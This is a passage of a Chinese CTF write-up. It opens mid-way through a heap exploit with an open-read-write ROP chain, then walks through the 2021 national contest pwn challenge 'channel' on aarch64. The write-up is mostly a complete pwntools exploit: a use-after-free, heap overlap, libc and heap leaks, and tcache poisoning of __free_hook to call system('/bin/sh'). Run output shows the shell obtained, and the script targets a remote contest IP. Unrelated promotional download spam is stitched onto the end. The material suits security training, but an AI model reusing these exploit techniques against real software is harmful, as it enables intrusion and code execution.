    rop += p64(prax) + p64(2)
    rop += p64(libc.symbols['syscall']+0x17) #read()

    rop += p64(prdi) + p64(3)
    rop += p64(prsi) + p64(flag)
    rop += p64(prdx) + p64(100)
    rop += p64(libc.symbols['read'])

    rop += p64(prdi) + p64(flag)
    rop += p64(libc.symbols['puts'])
    return rop

################################### Statr ############################################
init(8,8)
#--------------------------overflow heap-----------------------------------------
add(5,0x3f0,'5')  #这里malloc一个很大的chunk ,使程序默认的malloc(0x20)非物理相邻
left(5)
left(5)
down(5)
down(5)  #通过移动id:5的位置造成chunk->size被覆盖成0x500
#而这里实际上chunk5距离topchunk的偏移还是0x400
add(6,0x1f0,p8(0)*0xf8 + p64(0x101)) #同样malloc一个较大的数,使它和0x500物理相邻,进一步手动修
改堆结构,同时造成堆重叠
dele(5)
#--------------------------leak libc、heap-----------------------------------------
add(7,0x300,'7') #从unsortbin 分割chunk
show() #leak libc
ru(') ')
libc.address = info(rc(6)) - (0x007ffff7dce037 - 0x7ffff79e2000)
add(8,0x10,'8') #从unsortbin 分割chunk
show() #leak heap
ru(') ')
heap = info(rc(6)) - (0x2128)
#--------------------------attack tcache、orw->flag -----------------------------------------
dele(6) #将被chunk5覆盖的chunk6放入到tcache
add(9,0x1b0,p8(0)*0xc0 + p64(libc.sym['__free_hook'])) #修改chunk6也就是tcachebin的fd为free_hook

add(10,0x1f0,'/flag\x00')
add(11,0x1f0,p64(libc.sym['setcontext'] + 0x35)) #拿到

rop = get_rop(libc,flag = heap + 0x2640)
add(12,0x300,p8(0)*0xa0 + p64(heap + 0x28e0) + rop)
dele(12)
################################### End ##############################################
p.interactive()





题目-channel

2021全国大学生信息安全竞赛-channel

保护

$ checksec channel
[*] '/home/hnhuangjingyu/channel/channel'
    Arch:     aarch64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    
$ file channel_init
channel_init: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=0e2e437151b982bf6e2fce0ce34487a2e154f862, for GNU/Linux 3.7.0, stripped
#一道aarch64架构的题目

$ ls
channel_init   ld-2.31.so  libc-2.31.so  qemu-aarch64-static
#附件给了ld、libc

因为题目给了qemu-aarch64-static程序,所以可以在qemu里面跑漏洞程序,程序是一个动态文件需要指定程序动态链接库才能正常运行

$ patchelf --set-interpreter ./ld-2.31.so channel
$ patchelf --replace-needed libc.so.6 ./libc-2.31.so channel
$ ./channel
====== Channel ======
1.Register
2.UnResiger
3.Read
4.Write
>

使用pwntools工具进行调试就需要添加运行参数

p = process(['qemu-aarch64-static','-g','1234',binary],env = {"LD_PRELOAD":'./libc-2.31.so'})

这样就可以通过pwntools工具运行qemu并开启远程调试端口1234等待调试

$ ./exp.py
[+] Starting local process '/usr/bin/qemu-aarch64-static' argv=[b'qemu-aarch64-static', b'-g', b'1234', b'./channel']  env={b'LD_PRELOAD': b'/home/hnhuangjingyu/channel/libc-2.31.so'} : pid 166626
[*] '/home/hnhuangjingyu/channel/channel'
    Arch:     aarch64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/hnhuangjingyu/channel/libc-2.31.so'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
./exp.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  sla = lambda a,s:p.sendlineafter(a,s)
/home/hnhuangjingyu/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)

熟悉内核pwn的同学应该熟悉感就来了,这里的做法和做内核题也差不多,在pwntools挂起等待调试后,后面就可以通过gdb进行附加了

gdb-multiarch  ./channel                    777777777777qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\
    -ex "gef-remote  --qemu-mode localhost:1234" \
    -ex "pie breakpoint 0x12d8" 
#我是用的gef插件其他的可以用"target remote localhost:1234"

找了一圈没有办法导入libc符号表到gdb里面,无法使用heap插件,方便调试关闭地址随机化(方法很多),网上最常用的就是

sudo sysctl -w kernel.randomize_va_space=0

同样gef也可以关闭地址随机化,pwntools同样也可以在process函数指定aslr(bool)指定开启

分析

main

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eGNuju6f-1654366741340)(2021-国赛.assets/image-20220604224403675.png)]

register

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W1jCVCWG-1654366741340)(2021-国赛.assets/image-20220604224431213.png)]

un_register

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Up7eatxQ-1654366741341)(2021-国赛.assets/image-20220604224456337.png)]

write

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-18r5fkb2-1654366741341)(2021-国赛.assets/image-20220604224519520.png)]

read

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YGUXdzic-1654366741342)(2021-国赛.assets/image-20220604224534817.png)]

理解图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7xARoAY-1654366741342)(2021-国赛.assets/image-20220604224611933.png)]

思路

其实漏洞很明显,每次进行free的时候都是free ptr_qword_12018后的0x100指针,因为可以写入0x110大小的数据,那么就可以随便伪造chunk,同时利用好uaf的漏洞,通过堆块重叠进行劫持fd,但是这题没法可视化堆块,反正我做的时候就是瞎子摸象凭记忆想象堆的结构。。。。

查看堆数据我们可以端点在malloc函数执行完后面,此时的r0就是malloc出来的堆指针,做内核题的时候也是这种做法,通过malloc函数后面查看free_list链表

因为在uaf的漏洞存在那么可以泄漏堆地址

################################### Statr ############################################
for i in range(9):
    register(str(i)) #扩充count_dword_12020的大小

unregister('0')
unregister('1')
#形成堆链表 此时tcache[0x120] : chunk1 -> chunk0 -> 0

write('2',0x110,'2') #uaf漏洞拿到chunk1    chunk2==chunk1
#此时tcache[0x120] : chunk0

read('2') #泄漏heap地址
heap = (info(rc(3),'heap') | 0x00004000000000) - 0x632
logs(heap)

有了堆地址后修改*(ptr_qword_12018 + 0x100)[i]处伪造chunk造成堆重叠,从而泄漏libc

#----------------------------leak libc---------------------------------------------------
write('3',0x110,p8(0)*0xf8 + p64(0x21+(0x120*4)) + p64(heap+0x7b0)) #拿到chunk0
#修改前一个chunk的size 注意修改的size要使堆结构对齐,不然会报错误,同时造成堆覆盖
#此时tcache[0x120] : null

unregister(p64(heap+0x7b0)+p64(0)*2+p64(0x121)+p64(heap+0x632)) #free 0x4a1
#此时unsortbin : 0x4a0
write('4',0x110,'4') #拿到unsortbin
#此时unsortbin : 0x4a0 - 0x120 - 0x20 = 0x360
read('4')
libc.address = info(rc(5),'libc') - (0x40019d3e34 - 0x00004001866000)

注意:这里的libc地址不是x86-64的0x7fff格式的地址,而是0x40018格式的地址,提示小技巧通过gdb中vmmap即可得到程序链接信息如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cuyRKYMo-1654366741343)(2021-国赛.assets/image-20220605015402661.png)]

当然这里不一定准确,在得到libc之后可以手动的看下libc.sym[‘free’]地址的代码信息是否和程序调用的相同就可以判断libc基地址是否正确了,如下:

//free@got = 0x40018df908
gef➤  x/10i 0x40018df908
   0x40018df908:	stp	x29, x30, [sp, #-48]!
   0x40018df90c:	adrp	x1, 0x40019d2000
   0x40018df910:	mov	x29, sp
   0x40018df914:	ldr	x1, [x1, #3752]
   0x40018df918:	ldr	x2, [x1]
   0x40018df91c:	cbnz	x2, 0x40018df9c4
   0x40018df920:	str	x19, [sp, #16]
   0x40018df924:	mov	x19, x0
   0x40018df928:	cbz	x0, 0x40018df9b8
   0x40018df92c:	ldur	x2, [x0, #-8]

有了libc和堆覆盖,就可以很方便的修改tcache里面的fd了

#----------------------------attack tcache---------------------------------------------------
unregister('4')
unregister('3')
#此时tcache[0x120] : chunk3 -> chunk4 -> 0

write('5',0x200,p8(0)*0x120 + p64(libc.sym['__free_hook'])) #修改fd
#此时tcache[0x120] : chunk3 -> _free_hook -> 0
write('6',0x110,'/bin/sh\x00')
write('7',0x110,p64(libc.sym['system']))  #拿到__free_hook

unregister(b'/bin/sh\x00' + p8(0)*0xe0 + p64(0x21) + p64(heap + 0x8f0))
################################### End ##############################################
p.interactive()

运行结果

$ ./exp.py
[+] Starting local process '/usr/bin/qemu-aarch64-static': pid 206216
[*] Switching to interactive mode
$ id
uid=1000(hnhuangjingyu) gid=1000(hnhuangjingyu) groups=1000(hnhuangjingyu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare),998(docker)
$

完整exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *

#context.log_level = 'debug'
context.arch = 'aarch64'

binary = "./channel"

one = [0x45216,0x4526a,0xf02a4,0xf1147]

global p
local = 1
if local:
    #p = process(['qemu-aarch64-static','-g','1234',binary],env = {"LD_PRELOAD":'/home/hnhuangjingyu/channel/libc-2.31.so'})
    p = process(['qemu-aarch64-static',binary],env = {"LD_PRELOAD":'./libc-2.31.so'})
    e = ELF(binary)
    libc = ELF('/home/hnhuangjingyu/channel/libc-2.31.so')
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)
def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################
def register(content):
    sla('> ','1')
    sa('key> \n',content)

def unregister(content):
    sla('> ','2')
    sa('key> \n',content)

def read(content):
    sla('> ','3')
    sa('key> \n',content)

def write(key,lens,content):
    sla('> ','4')
    sa('key> \n',key)
    sla('len> \n',str(lens))
    sa('content> \n',content)

################################### Statr ############################################
#bss -> 0x4000012018:
#heap -> 0x00004000031000(0x290)
#chunk0 -> 0x000040000316b0
#chunk1 -> 0x000040000317d0
for i in range(9):
    register(str(i)) #扩充count_dword_12020的大小

unregister('0')
unregister('1')
#形成堆链表 此时tcache[0x120] : chunk1 -> chunk0 -> 0

write('2',0x110,'2') #uaf漏洞拿到chunk1    chunk2==chunk1
#此时tcache[0x120] : chunk0

read('2') #泄漏heap地址
heap = (info(rc(3),'heap') | 0x00004000000000) - 0x632
#----------------------------leak libc---------------------------------------------------
write('3',0x110,p8(0)*0xf8 + p64(0x21+(0x120*4)) + p64(heap+0x7b0)) #拿到chunk0
#修改前一个chunk的size 注意修改的size要使堆结构对齐,不然会报错误,同时造成堆覆盖
#此时tcache[0x120] : null

unregister(p64(heap+0x7b0)+p64(0)*2+p64(0x121)+p64(heap+0x632)) #free 0x4a1
#此时unsortbin : 0x4a0
write('4',0x110,'4') #拿到unsortbin
#此时unsortbin : 0x4a0 - 0x120 - 0x20 = 0x360
read('4')
libc.address = info(rc(5),'libc') - (0x40019d3e34 - 0x00004001866000)
#----------------------------attack tcache---------------------------------------------------
unregister('4')
unregister('3')
#此时tcache[0x120] : chunk3 -> chunk4 -> 0

write('5',0x200,p8(0)*0x120 + p64(libc.sym['__free_hook'])) #修改fd
#此时tcache[0x120] : chunk3 -> _free_hook -> 0
write('6',0x110,'/bin/sh\x00')
write('7',0x110,p64(libc.sym['system']))  #拿到__free_hook

unregister(b'/bin/sh\x00' + p8(0)*0xe0 + p64(0x21) + p64(heap + 0x8f0))
################################### End ##############################################
p.interactive()

因为去年国赛的这个时候,在一个阳光明媚的校园里一名同学正入门Android逆向。。。。。。巴拉巴拉。。。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【优质项目推荐】 1、项目代码均经过严格本地测试,运行OK,确保功能稳定后才上传平台。可放心下载并立即投入使用,若遇到任何使用问题,随时欢迎私信反馈与沟通,博主会第一时间回复。 2、项目适用于计算机相关专业(如计科、信息安全、数据科学、人工智能、通信、物联网、自动化、电子信息等)的在校学生、专业教师,或企业员工,小白入门等都适用。 3、该项目不仅具有很高的学习借鉴价值,对于初学者来说,也是入门进阶的绝佳选择;当然也可以直接用于 毕设、课设、期末大作业或项目初期立项演示等。 3、开放创新:如果您有一定基础,且热爱探索钻研,可以在此代码基础上二次开发,进行修改、扩展,创造出属于自己的独特应用。 欢迎下载使用优质资源!欢迎借鉴使用,并欢迎学习交流,共同探索编程的无穷魅力! 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值